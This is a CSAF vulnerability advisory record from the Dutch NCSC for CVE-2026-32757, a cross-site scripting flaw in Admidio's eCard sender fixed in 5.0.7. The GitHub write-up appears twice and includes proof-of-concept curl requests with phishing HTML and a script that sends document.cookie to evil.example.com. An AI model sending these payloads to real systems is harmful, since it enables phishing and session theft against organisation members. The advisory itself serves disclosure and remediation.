{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32757",
        "tracking": {
            "current_release_date": "2026-03-25T15:39:54.065529Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32757",
            "initial_release_date": "2026-03-16T21:39:53.727801Z",
            "revision_history": [
                {
                    "date": "2026-03-16T21:39:53.727801Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T21:40:01.987608Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T15:31:02.020972Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:21:30.081687Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:21:32.400208Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:21:45.750017Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:21:48.802597Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T21:41:54.705208Z",
                    "number": "8",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-20T21:59:43.960304Z",
                    "number": "9",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:47.639648Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:46:46.039373Z",
                    "number": "11",
                    "summary": "References removed (2)."
                },
                {
                    "date": "2026-03-22T00:52:09.128397Z",
                    "number": "12",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-22T11:25:10.021828Z",
                    "number": "13",
                    "summary": "References removed (2)."
                },
                {
                    "date": "2026-03-23T00:54:19.260189Z",
                    "number": "14",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-23T05:16:16.920413Z",
                    "number": "15",
                    "summary": "References removed (2)."
                },
                {
                    "date": "2026-03-24T06:57:51.389486Z",
                    "number": "16",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T06:57:56.815368Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:42.106302Z",
                    "number": "18",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-24T20:56:45.261409Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T15:39:53.353385Z",
                    "number": "20",
                    "summary": "Unknown change."
                }
            ],
            "status": "interim",
            "version": "20"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<5.0.7",
                                "product": {
                                    "name": "vers:unknown/<5.0.7",
                                    "product_id": "CSAFPID-5895587",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Admidio"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<5.0.7",
                                "product": {
                                    "name": "vers:unknown/<5.0.7",
                                    "product_id": "CSAFPID-5874020"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "admidio"
                    }
                ],
                "category": "vendor",
                "name": "Admidio"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32757",
            "cwe": {
                "id": "CWE-79",
                "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe eCard send handler in Admidio uses the raw `$_POST['ecard_message']` value instead of the HTMLPurifier-sanitized `$formValues['ecard_message']` when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the `ecard_message` field during form validation.\n\n## Details\n\n### Root Cause\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_send.php`\n\nAt line 38, the raw POST value is captured BEFORE form validation runs:\n\n```php\n$postMessage = $_POST['ecard_message'];  // Line 38: RAW value\n```\n\nAt line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):\n\n```php\n$formValues = $photosEcardSendForm->validate($_POST);  // Line 61: sanitized\n```\n\nThe sanitized value is stored in `$formValues['ecard_message']`, but this value is never used. Instead, the raw `$postMessage` is passed to `parseEcardTemplate()` at lines 159 and 201:\n\n```php\n$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159\n$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201\n```\n\n### Template Injection\n\nFile: `D:\\bugcrowd\\admidio\\repo\\src\\Photos\\ValueObject\\ECard.php`, line 144\n\nThe `parseEcardTemplate()` method places the message directly into the HTML template without any encoding:\n\n```php\n$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;  // Line 144: no encoding\n```\n\nCompare this to the recipient fields which ARE properly encoded:\n\n```php\n$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135\n$pregRepArray['/<%ecard_reciepient_name%>/']  = SecurityUtils::encodeHTML($recipientName);   // Line 136\n```\n\n### Inconsistency with Preview\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_preview.php`, line 56\n\nThe preview correctly uses the sanitized value:\n\n```php\n$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));\n```\n\nThis means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.\n\n### Delivery Mechanism\n\nThe unsanitized HTML is delivered via two channels:\n\n1. **HTML Email** (primary vector): At line 218 of `ECard.php`, the parsed template is set as the email body via `$email->setText($ecardHtmlData)` followed by `$email->setHtmlMail()`. The malicious HTML is rendered by the recipient's email client.\n\n2. **Database Storage**: At line 214 of `ecard_send.php`, `$message->addContent($ecardHtmlData)` stores the raw HTML in the messages table. However, `MessageContent::getValue()` applies `SecurityUtils::encodeHTML()` on output, mitigating the stored XSS in the web interface.\n\n## PoC\n\n**Prerequisites:** Logged-in user with access to the photo module and eCard feature enabled.\n\n**Step 1: Send an eCard with injected HTML**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n  -d \"adm_csrf_token=<csrf_token>\" \\\n  -d \"ecard_template=<valid_template.tpl>\" \\\n  -d \"photo_uuid=<valid_photo_uuid>\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>\" \\\n  -d \"ecard_recipients[]=<target_user_uuid>\"\n```\n\nThe HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.\n\n**Step 2: Escalated payload with script injection**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n  -d \"adm_csrf_token=<csrf_token>\" \\\n  -d \"ecard_template=<valid_template.tpl>\" \\\n  -d \"photo_uuid=<valid_photo_uuid>\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>\" \\\n  -d \"ecard_recipients[]=<target_user_uuid>\"\n```\n\nMost modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.\n\n## Impact\n\n- **Phishing via Trusted Sender:** The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.\n- **HTML Email Injection:** Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.\n- **Scope Change:** The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.\n- **Bypasses Defense-in-Depth:** The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.\n\n## Recommended Fix\n\nIn `ecard_send.php`, use the sanitized `$formValues['ecard_message']` instead of the raw `$_POST['ecard_message']`:\n\n```php\n// Line 38: Remove this line\n// $postMessage = $_POST['ecard_message'];\n\n// After line 61 (form validation), use the sanitized value:\n$formValues = $photosEcardSendForm->validate($_POST);\n$postMessage = $formValues['ecard_message'];\n```\n\nAdditionally, in `ECard::parseEcardTemplate()`, apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:\n\n```php\n// The message has already been sanitized by HTMLPurifier,\n// so it can safely contain allowed HTML tags\n$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;\n```",
                    "title": "github - https://github.com/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe eCard send handler in Admidio uses the raw `$_POST['ecard_message']` value instead of the HTMLPurifier-sanitized `$formValues['ecard_message']` when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the `ecard_message` field during form validation.\n\n## Details\n\n### Root Cause\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_send.php`\n\nAt line 38, the raw POST value is captured BEFORE form validation runs:\n\n```php\n$postMessage = $_POST['ecard_message'];  // Line 38: RAW value\n```\n\nAt line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):\n\n```php\n$formValues = $photosEcardSendForm->validate($_POST);  // Line 61: sanitized\n```\n\nThe sanitized value is stored in `$formValues['ecard_message']`, but this value is never used. Instead, the raw `$postMessage` is passed to `parseEcardTemplate()` at lines 159 and 201:\n\n```php\n$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159\n$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201\n```\n\n### Template Injection\n\nFile: `D:\\bugcrowd\\admidio\\repo\\src\\Photos\\ValueObject\\ECard.php`, line 144\n\nThe `parseEcardTemplate()` method places the message directly into the HTML template without any encoding:\n\n```php\n$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;  // Line 144: no encoding\n```\n\nCompare this to the recipient fields which ARE properly encoded:\n\n```php\n$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135\n$pregRepArray['/<%ecard_reciepient_name%>/']  = SecurityUtils::encodeHTML($recipientName);   // Line 136\n```\n\n### Inconsistency with Preview\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_preview.php`, line 56\n\nThe preview correctly uses the sanitized value:\n\n```php\n$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));\n```\n\nThis means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.\n\n### Delivery Mechanism\n\nThe unsanitized HTML is delivered via two channels:\n\n1. **HTML Email** (primary vector): At line 218 of `ECard.php`, the parsed template is set as the email body via `$email->setText($ecardHtmlData)` followed by `$email->setHtmlMail()`. The malicious HTML is rendered by the recipient's email client.\n\n2. **Database Storage**: At line 214 of `ecard_send.php`, `$message->addContent($ecardHtmlData)` stores the raw HTML in the messages table. However, `MessageContent::getValue()` applies `SecurityUtils::encodeHTML()` on output, mitigating the stored XSS in the web interface.\n\n## PoC\n\n**Prerequisites:** Logged-in user with access to the photo module and eCard feature enabled.\n\n**Step 1: Send an eCard with injected HTML**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n  -d \"adm_csrf_token=<csrf_token>\" \\\n  -d \"ecard_template=<valid_template.tpl>\" \\\n  -d \"photo_uuid=<valid_photo_uuid>\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>\" \\\n  -d \"ecard_recipients[]=<target_user_uuid>\"\n```\n\nThe HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.\n\n**Step 2: Escalated payload with script injection**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n  -d \"adm_csrf_token=<csrf_token>\" \\\n  -d \"ecard_template=<valid_template.tpl>\" \\\n  -d \"photo_uuid=<valid_photo_uuid>\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>\" \\\n  -d \"ecard_recipients[]=<target_user_uuid>\"\n```\n\nMost modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.\n\n## Impact\n\n- **Phishing via Trusted Sender:** The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.\n- **HTML Email Injection:** Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.\n- **Scope Change:** The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.\n- **Bypasses Defense-in-Depth:** The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.\n\n## Recommended Fix\n\nIn `ecard_send.php`, use the sanitized `$formValues['ecard_message']` instead of the raw `$_POST['ecard_message']`:\n\n```php\n// Line 38: Remove this line\n// $postMessage = $_POST['ecard_message'];\n\n// After line 61 (form validation), use the sanitized value:\n$formValues = $photosEcardSendForm->validate($_POST);\n$postMessage = $formValues['ecard_message'];\n```\n\nAdditionally, in `ECard::parseEcardTemplate()`, apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:\n\n```php\n// The message has already been sanitized by HTMLPurifier,\n// so it can safely contain allowed HTML tags\n$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "description",
                    "text": "Admidio is an open-source user management solution. In versions 5.0.6 and below, the eCard send handler uses a raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation. An attack can result in any member or role receiving phishing content that appears legitimate, crossing from the web application into recipients' email clients. This issue has been fixed in version 5.0.7.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32757.json"
                },
                {
                    "category": "description",
                    "text": "Admidio is an open-source user management solution. In versions 5.0.6 and below, the eCard send handler uses a raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation. An attack can result in any member or role receiving phishing content that appears legitimate, crossing from the web application into recipients' email clients. This issue has been fixed in version 5.0.7.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32757"
                },
                {
                    "category": "other",
                    "text": "0.00029",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Github",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5874020",
                    "CSAFPID-5895587"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32757.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32757"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-4wr4-f2qf-x5wj"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32757"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
                        "baseScore": 5.4,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5874020",
                        "CSAFPID-5895587"
                    ]
                }
            ],
            "title": "CVE-2026-32757"
        }
    ]
}